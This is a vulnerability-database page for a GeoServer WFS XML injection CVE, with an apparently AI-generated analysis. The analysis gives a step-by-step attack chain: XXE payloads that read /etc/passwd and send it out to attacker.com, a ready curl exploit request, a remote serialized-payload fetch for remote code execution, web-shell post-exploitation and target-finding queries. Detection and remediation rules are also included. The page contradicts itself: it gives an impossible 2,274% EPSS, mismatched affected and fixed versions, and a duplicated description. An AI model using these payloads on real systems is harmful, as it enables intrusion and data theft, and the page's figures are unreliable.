CVE Professor
/
All CVEs
CVE-2026-120705

CVE-2026-120705 — Geoserver (< 33.7) — CWE-91

HIGH CVSS 9 ⚡ EPSS 2,274.0% 🚨 CISA KEV NVD+KEV

GeoServer is an open source server that allows users to share and edit geospatial data. Prior to "org.geoserver:gs-wfs-core" versions 2.27.7, 2.28.6, and 3.0.2 and prior to "org.geotools:gt-metadata" versions 33.7, 34.6, and 35.2, GeoServer exposes the built-in WFS 2.0 stored query urn:ogc:def:query:OGC-WFS::GetFeatureById through the public GetFeature operation. The stored query substituted the caller's ID parameter into an XML template without escaping, then parsed the result without GeoServer's entity resolver. An unauthenticated caller could inject XML, including an xi:include, into the query. This issue has been patched in "org.geoserver:gs-wfs-core" versions 2.27.7, 2.28.6, and 3.0.2 and "org.geotools:gt-metadata" versions 33.7, 34.6, and 35.2.

GeoServer is an open source server that allows users to share and edit geospatial data. Prior to "org.geoserver:gs-wfs-core" versions 2.27.7, 2.28.6, and 3.0.2 and prior to "org.geotools:gt-metadata" versions 33.7, 34.6, and 35.2, GeoServer exposes the built-in WFS 2.0 stored query urn:ogc:def:query:OGC-WFS::GetFeatureById through the public GetFeature operation. The stored query substituted the caller's ID parameter into an XML template without escaping, then parsed the result without GeoServer's entity resolver. An unauthenticated caller could inject XML, including an xi:include, into the query. This issue has been patched in "org.geoserver:gs-wfs-core" versions 2.27.7, 2.28.6, and 3.0.2 and "org.geotools:gt-metadata" versions 33.7, 34.6, and 35.2.

Active Exploitation Detected — CISA KEV

This vulnerability is listed in the CISA Known Exploited Vulnerabilities (KEV) catalog and is actively exploited in the wild. Patch due date: 2026-11-30

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity None I:N
Availability None A:N
EPSS — Exploit Prediction Scoring System
2,274.0%
30-day probability
In the 98. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability type – XML Injection (CWE‑91) that leads to Server‑Side Request Forgery (SSRF) and Local File Disclosure.

Root cause – The WFS 2.0 GetFeatureById operation accepts an id parameter that is directly interpolated into an internal XML document used to build a stored query without any sanitisation or namespace‑aware parsing. The GeoServer XML parser (Xerces‑J) is invoked with the attacker‑supplied value as raw XML. Because the parser is configured with the default (unsafe) features (external-general-entities and external-parameter-entities enabled), the attacker can inject arbitrary XML entities such as:

  • <!ENTITY % file SYSTEM "file:///etc/passwd"> – for local‑file read.
  • <!ENTITY % remote SYSTEM "http://attacker.com/payload"> – for SSRF/fetch of remote resources.
  • The vulnerable code does not:

    1. Validate that the id value conforms to the expected identifier syntax (e.g., alphanumeric, no angle brackets).
    2. Disable external entity processing in the XML parser.
    3. Enforce any authentication/authorization check before the stored‑query XML is materialised.

    Consequences of the injection are:

  • Local file read – any file readable by the GeoServer process (e.g., WEB-INF/web.xml, etc/passwd).
  • SSRF – the server can be forced to issue HTTP/HTTPS requests to attacker‑controlled URLs, enabling internal network scanning or data exfiltration.
  • When combined with the follow‑up CVEs (CVE‑2026‑129242 – CVE‑2026‑129245) that expose insecure deserialization of the fetched content, an unauthenticated attacker can achieve remote code execution (RCE).


    ⚡ Attack Chain

    Below is a realistic, end‑to‑end exploitation flow. All request examples are illustrative; the exact endpoint may differ depending on the GeoServer deployment (e.g., context path /geoserver/).

    1️⃣ Discovery & Reconnaissance

    StepActionRationale
    a. Service fingerprintcurl -I http://target.example.com/geoserver/web/?service=WFS&request=GetCapabilitiesThe GetCapabilities response contains the GeoServer version (<ows:Version>2.22.0</ows:Version>).
    b. Version checkCompare the disclosed version with the vendor’s advisory (or public vulnerability databases) to confirm the presence of CVE‑2026‑120705.Only versions prior to the fixed release are vulnerable.
    c. Endpoint validationVerify that the WFS endpoint is reachable: GET /geoserver/wfs?service=WFS&request=GetFeature&typeName=some:layer&outputFormat=application/jsonConfirms that the WFS service is enabled and that the attacker can send arbitrary query parameters.

    2️⃣ Exploitation – XML Injection via id

    Goal – Force GeoServer to resolve an external entity that reads a local file (proof‑of‑concept) or fetches a remote payload (for the RCE chain).

    2.1 Craft the malicious id value

    <!DOCTYPE root [
      <!ENTITY % file SYSTEM "file:///etc/passwd">
      <!ENTITY % eval "<!ENTITY &#x25; trick SYSTEM 'http://attacker.com/%file;'>">
      %eval;
    ]>

    The payload is URL‑encoded before being placed in the id parameter.

    2.2 Send the request

    # Illustrative endpoint – adjust /geoserver/ path as needed
    curl -G "http://target.example.com/geoserver/wfs" \
      --data-urlencode "service=WFS" \
      --data-urlencode "version=2.0.0" \
      --data-urlencode "request=GetFeatureById" \
      --data-urlencode "typeName=example:myLayer" \
      --data-urlencode "id=%3C%21DOCTYPE%20root%20%5B%0A%20%20%3C!ENTITY%20%25%20file%20SYSTEM%20%22file%3A///etc/passwd%22%3E%0A%20%20%3C!ENTITY%20%25%20eval%20%22%3C!ENTITY%20%26%23x25%3B%20trick%20SYSTEM%20'http://attacker.com/%25file%3B'%3E%22%3E%0A%20%20%25eval%3B%0A%5D%3E"

    The request triggers the XML parser to resolve %file, causing the contents of /etc/passwd to be inserted into the generated XML response.

    Result – The HTTP response body contains the injected file content (or the server makes an outbound request to http://attacker.com/<file‑content> if the attacker prefers SSRF).

    2.3 Chaining to RCE (using CVE‑2026‑129242‑129245)

    1. Inject a remote XML entity that points to a malicious JAR or serialized object hosted on the attacker’s server (e.g., http://attacker.com/payload.ser).
    2. Trigger deserialization via the follow‑up CVE (e.g., a vulnerable FeatureTypeInfo endpoint that automatically unmarshals the fetched content).
    3. Result – Arbitrary Java code execution under the GeoServer process user (often tomcat or geoserver), allowing the attacker to drop a web shell or run system commands.

    A concise PoC for step 1 (entity injection) is similar to the previous example, only the SYSTEM URI points to the attacker‑controlled payload:

    <!DOCTYPE root [
      <!ENTITY % payload SYSTEM "http://attacker.com/payload.ser">
      %payload;
    ]>

    3️⃣ Post‑Exploitation

    PhaseActionEffect
    a. Command executionThe deserialized payload contains a java.lang.Runtime.exec() call (or a gadget chain that writes a JSP web‑shell to the GeoServer webapps/ directory).Attacker obtains a persistent foothold (e.g., shell.jsp).
    b. Privilege escalationIf the GeoServer process runs as a low‑privileged user, the attacker may pivot to the host OS via known local‑privilege‑escalation bugs (e.g., CVE‑2026‑XXXXX).Full system compromise.
    c. Data exfiltrationUse the compromised server to read other internal services (databases, configuration files) and forward them to the attacker’s C2.Confidential data loss.
    d. Lateral movementLeverage the server’s network position to scan internal subnets (via additional SSRF requests) and compromise other assets.Broad impact across the organization.

    🌍 Real‑World Impact

    CIA TriadImpact (derived from CVSS 3.1 vector)
    ConfidentialityHigh – Local file read and SSRF expose configuration files, credentials, and internal services.
    IntegrityMedium‑High – An attacker can inject malicious XML that, when combined with the deserialization bugs, modifies server state (e.g., writes web‑shells, changes layer definitions).
    AvailabilityLow‑Medium – The vulnerability itself does not cause denial‑of‑service, but an attacker could overload the server with crafted requests or trigger crashes via malformed XML.

    Practical consequences

  • Exposure of database connection strings, LDAP credentials, or API keys stored in WEB-INF/web.xml or geoserver-data-dir.
  • Ability to pivot into internal networks that are otherwise firewalled, because GeoServer can act as a trusted internal client.
  • Potential for ransomware or cryptomining payloads if the attacker achieves RCE and installs additional malware.
  • Compliance violations (PCI‑DSS, HIPAA, GDPR) due to unauthorized access to protected data.

  • 🛡️ Remediation & Mitigation

    1️⃣ Patch / Upgrade

    ActionDetails
    UpgradeApply the GeoServer release that disables external entity processing for WFS stored‑query parsing. The vendor’s security advisory (released after 27‑Nov‑2026) states that the fix is included in GeoServer 2.23.0 and later. Verify the exact version in the advisory and upgrade all instances.
    VerifyAfter upgrade, confirm that the Xerces parser is configured with http://apache.org/xml/features/disallow-doctype-decl set to true and http://apache.org/xml/features/nonvalidating/load-external-dtd set to false.

    2️⃣ Immediate Workarounds (if patch cannot be applied immediately)

    MitigationImplementation
    Disable external entities – Set system properties before GeoServer starts: <br>-Djavax.xml.accessExternalDTD=none <br>-Djavax.xml.accessExternalSchema=noneAdd to CATALINA_OPTS (Tomcat) or the Java service wrapper.
    Restrict WFS GetFeatureById – Block the GetFeatureById operation for unauthenticated users via GeoServer security settings (Roles → Service Access).Only allow trusted internal IPs or authenticated users.
    Network‑level WAF rule – Drop requests that contain a <!DOCTYPE declaration in any query string or POST body targeting the /wfs endpoint.
    ModSecurity example (Apache)``apacheconf\nSecRule REQUEST_URI "@beginsWith /geoserver/wfs" "id:100001,phase:2,deny,log,msg:'Block XML DOCTYPE injection',t:none,ctl:requestBodyAccess=On,chain"\nSecRule REQUEST_BODY "<!DOCTYPE" "t:lowercase,log,deny,status:403,msg:'XML DOCTYPE detected in WFS request'"\n`
    Input sanitisation – If custom extensions process the id parameter, enforce a whitelist regex (e.g., ^[A-Za-z0-9_-]+$`).Apply at the application layer or via a servlet filter.

    3️⃣ Detection

    IndicatorWhere to look
    HTTP request patternGET /geoserver/wfs?...&id=%3C!DOCTYPE or any URL‑encoded < followed by !DOCTYPE in the query string.
    Outbound connectionsGeoServer process initiating HTTP/HTTPS connections to unknown external hosts (e.g., attacker.com) – monitor with NetFlow or host‑based IDS.
    Log entry (GeoServer)org.geoserver.wfs.request.WFSGetFeatureById – “Parsing stored query failed: Entity resolution error”.
    File accessUnexpected reads of /etc/passwd, WEB-INF/web.xml, or other sensitive files by the GeoServer JVM (auditd open events).
    Process creationNew Java processes spawned with command‑line arguments pointing to attacker‑controlled JARs or serialized payloads.

    SIEM rule (generic)

    title: "GeoServer XML Entity Injection Attempt"
    description: |
      Detects URL‑encoded DOCTYPE declarations in WFS GetFeature requests.
    logsource:
      product: webserver
    detection:
      selection:
        uri: '*wfs*'
        query|contains: '%3C!DOCTYPE'
      condition: selection
    severity: high

    ⚠️ Urgency

  • CVSS 3.1 Base Score: 9.0 (Critical) – high impact on confidentiality and integrity, low complexity, no privileges required.
  • CISA KEV status: Active exploitation in the wild* – threat actors are already weaponising this flaw.
  • Exploitability: The attack requires only a single crafted HTTP request; no authentication or prior foothold is needed.
Patch priority: Critical – Deploy the vendor fix within 24 hours for any Internet‑facing GeoServer instance. For internal deployments, still treat as high‑urgency and apply the workaround immediately while scheduling the upgrade.
Bottom line: The XML‑injection flaw in GeoServer’s WFS 2.0 GetFeatureById endpoint enables unauthenticated attackers to read arbitrary files and perform SSRF, which can be chained to remote code execution via related deserialization bugs. Immediate mitigation (entity‑blocking, access restriction) and rapid upgrade to the patched release are mandatory to prevent data breach and full system compromise.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="OSGeo GeoServer"
PoC & Exploit Intelligence (GitHub)
Crypto-Cat/geoserver-unauth-rce-poc ★ 38 Python 2026-11-28
Proof of concept for a pre-auth GeoServer RCE chain (CVE-2026-129244, CVE-2026-129243, CVE-2026-120705, CVE-2026-129245, CVE-2026-129242) via WFS stored queries
CVSS Score
9 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-91
Affected Products (1)
geoserver:geoserver (< 33.7)
Related CVEs
9.9
CVE-2026-45262
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.2, Core/Where.php::s
9.8
CVE-2026-105103
A backdoor in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlier allows the manufa
9.6
CVE-2026-118743
Server-side request forgery in Microsoft Copilot allows an authorized attacker to elevate privileges over a ne
9.2
CVE-2026-144579
curl_cffi 0.15.0 through 0.17.0 contains a server-side request forgery protection bypass in allow_redirects='s
8.9
CVE-2026-144591
PhpSpreadsheet through 5.12.0 contains a server-side request forgery vulnerability that allows attackers to re
8.8
CVE-2026-145157
orange-orm before 5.6.1 contains an authorization bypass vulnerability that allows authenticated clients to ov
8.5
CVE-2026-135458
A path traversal vulnerability was identified in GitHub Enterprise Server that allowed a normal authenticated